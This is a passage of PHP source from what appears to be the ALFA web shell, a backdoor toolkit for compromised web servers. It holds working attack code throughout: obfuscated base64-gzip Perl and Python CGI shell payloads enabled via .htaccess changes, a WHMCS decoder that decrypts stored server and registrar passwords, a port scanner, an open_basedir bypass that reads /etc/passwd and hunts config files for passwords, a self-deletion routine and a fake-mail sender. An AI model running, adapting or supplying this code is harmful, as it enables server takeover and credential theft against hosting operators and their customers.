            $query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
            $res = @mysqli_query($conn, $query);
            echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
        } else {
            $pages = 0;
            $title = false;
            $query = "";
            $tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
            $line = 0;
            $tables = array();
            $columns = array();
            if ($type == "load_data") {
                $query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` LIMIT 0,30";
                $tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `" . $db["db"] . "`.`" . $db["table"] . "`");
                $tbl_count = @mysqli_fetch_row($tbl_count_q);
                $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '" . $db["db"] . "' AND `TABLE_NAME` = '" . $db["table"] . "'");
                while ($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
                    $columns[] = $row2;
                }
                if ($tbl_count[0] > 30) {
                    $pages = ceil($tbl_count[0] / 30);
                }
            } elseif ($type == "query") {
                $query = $db["query"];
            } elseif ($type == "page") {
                $db["page"] = (int) $db["page"] - 1;
                $query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` LIMIT " . $db["page"] * 30 . ",30";
            } elseif ($type == "search") {
                $search = "";
                $search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
                foreach ($db["search"] as $col => $val) {
                    $search_noval_r = in_array($val["opt"], $search_noval);
                    if (empty($val["value"]) && !$search_noval_r) {
                        continue;
                    }
                    if (strstr($val["opt"], "...") || $search_noval_r) {
                        $val["opt"] = str_replace("...", $val["value"], $val["opt"]);
                        $search .= $col . " " . $val["opt"] . " AND ";
                    } else {
                        $search .= $col . " " . $val["opt"] . " '" . addslashes($val["value"]) . "' AND ";
                    }
                }
                $search .= "1=1";
                $query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE " . $search;
            }
            $q_tables = @mysqli_query($conn, $query);
            if (!$q_tables) {
                echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
                return false;
            }
            $col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '" . @addslashes($db["db"]) . "' AND TABLE_NAME = '" . @addslashes($db["table"]) . "' AND COLUMN_KEY = 'PRI'");
            if ($col_key) {
                $col_key = @mysqli_fetch_row($col_key);
                $col_key = $col_key[0];
                if (!empty($col_key)) {
                    $tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="' . $col_key . '" tbl_name="' . $db["table"] . '" db_id="' . $db["db_id"] . '" 	db_target="' . $db["db"] . '" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
                }
            } else {
                $col_key = false;
            }
            while ($item = @mysqli_fetch_assoc($q_tables)) {
                if (!$title) {
                    $tbl_content .= '<tr style="background-color:#305b8e;">';
                    if ($col_key) {
                        $tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="' . $db["db_id"] . '" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
                    }
                    foreach ($item as $key => $value) {
                        $tbl_content .= '<th>' . $key . '</th>';
                    }
                    reset($item);
                    $title = true;
                    $tbl_content .= '</tr><tr>';
                }
                if ($col_key) {
                    $cacheMsg = '<td style="text-align:center;"><input row_id="' . $line . '" type="checkbox" name="tbl_rows_checkbox[]" value="' . $item[$col_key] . '"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="' . $db["db_id"] . '" db_target="' . $db["db"] . '" tbl_name="' . $db["table"] . '" col_key="' . $col_key . '" key="' . $item[$col_key] . '" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="' . $db["db_id"] . '" db_target="' . $db["db"] . '" tbl_name="' . $db["table"] . '" col_key="' . $col_key . '" key="' . $item[$col_key] . '" row_id="' . $line . '" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
                }
                $tbl_content .= '<tr class="tbl_row tbl_row_l' . $line . '">' . $cacheMsg;
                $line++;
                foreach ($item as $key => $value) {
                    if ($value == null) {
                        $tbl_content .= '<td><i>null</i></td>';
                    } else {
                        $tbl_content .= '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                    }
                }
                $tbl_content .= '</tr>';
            }
            $tbl_content .= '</table>';
            if (!$title) {
                $tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
            }
            echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
        }
        @mysqli_close($conn);
    }
}
function alfaselfrm()
{
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'yes') {
        echo __pre() . '<center>';
        if (@unlink($GLOBALS['__file_path'])) {
            echo "<b>Shell has been removed</i> :)</b>";
        } else {
            echo "unlink error!";
        }
        echo "</center>";
    }
    if (isset($_POST['alfa1']) && $_POST['alfa1'] != 'yes') {
        echo "<div class=header>";
        echo "\r\n<center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
        echo "<p><div class=\"txtfont\">Do you want to destroy me?!</div><a href=javascript:void(0) onclick=\"g('selfrm',null,'yes');\"> Yes</a>";
        echo "</p></center></div>";
    }
}
function alfacgishell()
{
    alfahead();
    $div = "";
    alfaCreateParentFolder();
    @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
    if (!in_array($_POST['alfa1'], array('perl', 'py'))) {
        $div = "</div>";
        echo "<div class=header><center><p><div class=\"txtfont_header\">| CGI Shell |</div></p><h3><a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi('perl')\">| Perl | </a><a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi('py');\">| Python | </a>";
    }
    if (isset($_POST['alfa1']) && in_array($_POST['alfa1'], array('perl', 'py'))) {
        @mkdir('cgialfa', 0755);
        @chdir('cgialfa');
        alfacgihtaccess('cgi');
        $name = $_POST['alfa1'] . '.alfa';
        $perl = "#!/usr/bin/perl   -I/usr/local/bandmin\nuse MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64(\"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\")));";
        $py = "#!/usr/bin/python\nimport zlib, base64\neval(compile(zlib.decompress(base64.b64decode(\"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\")),'<string>','exec'))";
        if ($_POST['alfa1'] == 'perl') {
            $code = $perl;
        } else {
            $code = $py;
        }
        if (__write_file($name, $code)) {
            @chmod($name, 0755);
            echo "<iframe src=\"ALFA_DATA/cgialfa/" . $name . '" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
        }
    }
    echo $div;
    alfafooter();
}
function alfaWhmcs()
{
    alfahead();
    echo "<div class=header>";
    function decrypt($string, $cc_encryption_hash)
    {
        $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
        $hash_key = _hash($key);
        $hash_length = strlen($hash_key);
        $string = __ZGVjb2Rlcg($string);
        $tmp_iv = substr($string, 0, $hash_length);
        $string = substr($string, $hash_length, strlen($string) - $hash_length);
        $iv = $out = '';
        $c = 0;
        while ($c < $hash_length) {
            $iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
            ++$c;
        }
        $key = $iv;
        $c = 0;
        while ($c < strlen($string)) {
            if ($c != 0 and $c % $hash_length == 0) {
                $key = _hash($key . substr($out, $c - $hash_length, $hash_length));
            }
            $out .= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
            ++$c;
        }
        return $out;
    }
    function _hash($string)
    {
        if (function_exists('sha1')) {
            $hash = sha1($string);
        } else {
            $hash = md5($string);
        }
        $out = '';
        $c = 0;
        while ($c < strlen($hash)) {
            $out .= chr(hexdec($hash[$c] . $hash[$c + 1]));
            $c += 2;
        }
        return $out;
    }
    AlfaNum(8, 9, 10);
    echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>" . getConfigHtml('whmcs') . "</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">\r\n<input type='hidden' name='form_action' value='2'>";
    $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50'));
    create_table($table);
    echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
    if ($_POST['alfa5'] != '') {
        $db_host = $_POST['alfa7'];
        $db_username = $_POST['alfa3'];
        $db_password = $_POST['alfa4'];
        $db_name = $_POST['alfa5'];
        $cc_encryption_hash = $_POST['alfa6'];
        echo __pre();
        $conn = @mysqli_connect($db_host, $db_username, $db_password, $db_name) or die(mysqli_error($conn));
        $query = mysqli_query($conn, "SELECT * FROM tblservers");
        $num = mysqli_num_rows($query);
        if ($num > 0) {
            for ($i = 0; $i <= $num - 1; $i++) {
                $v = @mysqli_fetch_array($query);
                $ipaddress = $v['ipaddress'];
                $username = $v['username'];
                $type = $v['type'];
                $active = $v['active'];
                $hostname = $v['hostname'];
                echo "<center><table border='1'>";
                $password = decrypt($v['password'], $cc_encryption_hash);
                echo "<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>{$type}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>{$active}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>{$hostname}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>{$ipaddress}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>{$username}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>{$password}</td></tr></b>";
                echo "</table><br><br></center>";
            }
            $query1 = @mysqli_query($conn, "SELECT * FROM tblregistrars");
            $num1 = @mysqli_num_rows($query1);
            if ($num1 > 0) {
                for ($i = 0; $i <= $num1 - 1; $i++) {
                    $v = mysqli_fetch_array($query1);
                    $registrar = $v['registrar'];
                    $setting = $v['setting'];
                    $value = decrypt($v['value'], $cc_encryption_hash);
                    if ($value == "") {
                        $value = 0;
                    }
                    echo "<center>Domain Reseller <br><center>";
                    echo "<center><table border='1'>";
                    echo "<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>{$registrar}</td></tr></b>";
                    echo "<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>{$setting}</td></tr></b>";
                    echo "<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>{$value}</td></tr></b>";
                    echo "</table><br><br></center>";
                }
            }
        } else {
            __alert('<font color="red">tblservers is Empty...!</font>');
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaportscanner()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Port Scaner |</div></p>\r\n<form action=\"\" method=\"post\" onsubmit=\"g('portscanner',null,null,this.start.value,this.end.value,this.host.value); return false;\">\r\n<input type=\"hidden\" name=\"y\" value=\"phptools\">\r\n<div class=\"txtfont\">Host: </div> <input id=\"text\" type=\"text\" name=\"host\" value=\"localhost\"/>\r\n<div class=\"txtfont\">Port start: </div> <input id=\"text\" size=\"5\" type=\"text\"  name=\"start\" value=\"80\"/>\r\n<div class=\"txtfont\">Port end: </div> <input id=\"text\" size=\"5\" type=\"text\" name=\"end\" value=\"80\"/> <input type=\"submit\" value=\" \" />\r\n</form></center><br>";
    $start = strip_tags($_POST['alfa2']);
    $end = strip_tags($_POST['alfa3']);
    $host = strip_tags($_POST['alfa4']);
    if (isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])) {
        echo __pre();
        $packetContent = "GET / HTTP/1.1\r\n\r\n";
        if (ctype_xdigit($packetContent)) {
            $packetContent = @pack("H*", $packetContent);
        } else {
            $packetContent = str_replace(array("\r", "\n"), "", $packetContent);
            $packetContent = str_replace(array("\\r", "\\n"), array("\r", "\n"), $packetContent);
        }
        for ($i = $start; $i <= $end; $i++) {
            $sock = @fsockopen($host, $i, $errno, $errstr, 3);
            if ($sock) {
                stream_set_timeout($sock, 5);
                fwrite($sock, $packetContent . "\r\n\r\n\x00");
                $counter = 0;
                $maxtry = 1;
                $bin = "";
                do {
                    $line = fgets($sock, 1024);
                    if (trim($line) == "") {
                        $counter++;
                    }
                    $bin .= $line;
                } while ($counter < $maxtry);
                fclose($sock);
                echo "<center><p>Port <font style='color:#DE3E3E'>{$i}</font> is open</p>";
                echo "<p><textarea style='height:140px;width:50%;'>" . $bin . "</textarea></p></center>";
            }
            flush();
        }
    }
    echo "</div>";
    alfafooter();
}
function alfacgihtaccess($m, $d = '', $symname = false)
{
    $readme = "";
    if ($symname) {
        $readme = "\nReadmeName " . trim($symname);
    }
    if ($m == 'cgi') {
        $code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
    } elseif ($m == 'sym') {
        $code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
    } elseif ($m == 'shtml') {
        $code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
    }
    @__write_file($d . ".htaccess", $code);
}
function alfabasedir()
{
    alfahead();
    echo "<div class=header>\r\n<center><p><div class=\"txtfont_header\">| Open Base Dir |</div></p></center>";
    $passwd = _alfa_file('/etc/passwd');
    if (is_array($passwd)) {
        $users = array();
        $makepwd = alfaMakePwd();
        $basedir = @ini_get('open_basedir');
        $safe_mode = @ini_get('safe_mode');
        if (_alfa_can_runCommand(true, false) && ($basedir || $safe_mode)) {
            $bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
            $tmp_path = alfaWriteTocgiapi("basedir.alfa", $bash);
            $bash_users = alfaEx("cd " . $tmp_path . "/alfacgiapi;sh basedir.alfa " . $makepwd, false, true, true);
            $users = json_decode($bash_users, true);
            $x = count($users);
            if ($x >= 2) {
                array_pop($users);
                --$x;
            }
        }
        if (!$basedir && !$safe_mode) {
            $x = 0;
            foreach ($passwd as $str) {
                $pos = strpos($str, ':');
                $username = substr($str, 0, $pos);
                $dirz = str_replace("{user}", $username, $makepwd);
                if ($username != '') {
                    if (@is_readable($dirz)) {
                        array_push($users, $username);
                        $x++;
                    }
                }
            }
        }
        echo "<br><br>";
        echo "<b><font color=\"#00A220\">[+] Founded " . sizeof($passwd) . " entrys in /etc/passwd\n" . "<br /></font></b>";
        echo "<b><font color=\"#FFFFFF\">[+] Founded " . $x . " readable " . str_replace("{user}", "*", $makepwd) . " directories\n" . "<br /></font></b>";
        echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n<br /><br /><br /></font></b>";
        foreach ($users as $user) {
            if (empty($user)) {
                continue;
            }
            $path = str_replace("{user}", $user, $makepwd);
            echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>{$user}</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='{$path}'><input type=submit value='>>'></form><br>";
        }
    } else {
        echo "<b> <center><font color=\"#FFFFFF\">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>";
    }
    echo "<br><br></b>";
    echo "</div>";
    alfafooter();
}
function alfamail()
{
    alfahead();
    echo "<div class=header>";
    AlfaNum(8, 9, 10);
    echo "<center><p><div class=\"txtfont_header\">| Fake Mail |</div></p><form action=\"\" method=\"post\" onsubmit=\"g('mail',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,'>>',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;\">";
